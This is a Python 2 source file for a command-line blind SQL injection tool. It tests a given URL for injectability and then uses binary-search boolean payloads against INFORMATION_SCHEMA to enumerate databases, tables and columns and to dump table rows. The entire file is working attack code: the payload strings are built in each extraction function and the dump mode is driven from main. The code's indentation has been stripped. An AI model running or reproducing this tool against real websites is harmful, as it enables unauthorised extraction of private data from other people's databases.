import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(url,i,mid)
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getdbs(url,basehtml,num):
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit %d,1),%d,1))>%d-- "%(url,n,i,mid)
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
if html==basehtml:
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def gettablenum(url,basehtml,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,dbname.encode("hex"),i,mid)
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def gettables(url,basehtml,num,dbname):
print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,dbname.encode("hex"),n,i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
if html==basehtml:
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getcolumnnum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),i,mid)
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getcolumns(url,basehtml,num,tablename,dbname):
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),n,i,mid)
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
if html==basehtml:
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getdatanum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM %s.%s),%d,1))>%d-- "%(url,dbname,tablename,i,mid)
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(%s) AS CHAR),0x20) FROM %s.%s limit %d,1),%d,1))>%d-- "%(url,columnname,dbname,tablename,n,i,mid)
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
if html==basehtml:
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
return url
elif basehtml!=html1 and basehtml==html2:
return url1
elif basehtml==html1 and basehtml!=html2:
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
parser.print_help()
if __name__=='__main__':
main()